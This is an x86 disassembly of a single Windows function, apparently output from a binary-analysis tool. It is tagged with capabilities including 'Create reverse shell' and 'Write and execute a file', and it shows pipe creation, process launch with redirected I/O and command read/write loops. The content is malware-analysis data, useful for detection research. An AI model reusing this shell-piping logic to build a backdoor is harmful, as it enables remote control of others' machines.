Function at 0x4068b0
Capabilities:
Check os version
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x698
push ebx
push ebp
push esi
push edi
mov edi, eax
lea eax, [esp + 0x54]
push eax
mov eax, dword [0x41b280]
push 0x17
call fcn.00402940
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x30], eax
je 0x406c11
push 0x104
lea ecx, [esp + 0xa4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x406c11
push 0x44
or ebx, 0xffffffff
lea edx, [esp + 0x5c]
push ebp
push edx
mov dword [esp + 0x54], 0xc
mov dword [esp + 0x58], ebp
mov dword [esp + 0x5c], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401100
add esp, 0xc
push 0x10
lea eax, [esp + 0x38]
push ebp
push eax
call fcn.00401100
mov eax, dword [0x41b2a4]
add esp, 0xc
cmp eax, ebp
jne 0x406952
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x41b2a4], eax
cmp al, 6
jae 0x4069d6
push edi
call fcn.004065c0
add esp, 4
mov eax, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x406965
mov edi, edi
sub eax, 1
cmp eax, edi
je 0x40697e
cmp byte [eax], 0xa
jne 0x406970
jmp 0x406983
cmp byte [eax], 0xa
jne 0x4069cd
sub eax, 1
cmp eax, edi
je 0x406991
cmp byte [eax], 0xa
jne 0x406983
jmp 0x406996
cmp byte [eax], 0xa
jne 0x4069cd
mov ecx, eax
sub eax, 1
cmp eax, edi
je 0x4069a6
cmp byte [eax], 0xa
jne 0x406998
jmp 0x4069ab
cmp byte [eax], 0xa
jne 0x4069cd
cmp ecx, ebp
je 0x4069cd
lea esi, [ecx + 1]
mov ecx, esi
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x4069b4
sub ecx, esi
push ecx
add eax, 1
push esi
push eax
call fcn.00401140
add esp, 0xc
push edi
call fcn.004065c0
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
call esi
test eax, eax
je 0x406bb6
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x20]
push edx
call esi
test eax, eax
je 0x406bb6
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push ebp
push 1
push eax
call esi
test eax, eax
je 0x406bb6
mov ecx, dword [esp + 0x14]
push ebp
push 1
push ecx
call esi
test eax, eax
je 0x406bb6
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x5c]
push ecx
push ebp
push ebp
push ebp
push 1
push ebp
push ebp
mov dword [esp + 0xb0], edx
push ebp
lea edx, [esp + 0xc4]
push edx
mov word [esp + 0xb0], bp
mov dword [esp + 0x80], 0x44
mov dword [esp + 0xac], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x406bb6
mov ecx, dword [esp + 0x6ac]
mov edx, dword [esp + 0x18]
push ebp
lea eax, [esp + 0x48]
push eax
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0xa0]
push eax
push ecx
push edx
call fcn.004065c0
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebp
mov ebp, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [esp + 0x2c], 0x400
xor esi, esi
mov eax, dword [esp + 0x34]
push 0x14
push eax
call edi
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x406b85
cmp eax, 0x80
je 0x406b85
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push edx
call ebp
test eax, eax
je 0x406b5d
mov eax, dword [esp + 0x28]
test eax, eax
je 0x406b6c
cmp eax, 0x400
jb 0x406b3e
mov eax, 0x400
push 0
lea ecx, [esp + 0x30]
push ecx
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x2b4]
push edx
push eax
call ebx
test eax, eax
je 0x406b85
xor esi, esi
jmp 0x406b6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004065c0
add esp, 4
add esi, 0x14
cmp dword [esp + 0x1c], 0x102
jne 0x406b85
cmp esi, 0x493e0
jb 0x406af5
call fcn.004065c0
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [esp + 0x1c], 0x103
jne 0x406bb1
mov eax, dword [esp + 0x34]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ebp, ebp
or ebx, 0xffffffff
mov eax, dword [esp + 0x38]
cmp eax, ebp
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x406bc7
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, ebp
je 0x406bd2
push eax
call esi
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x406bdd
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x406be8
push eax
call esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x406bf3
push eax
call esi
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x406bfe
push eax
call esi
mov ecx, dword [esp + 0x30]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x698
ret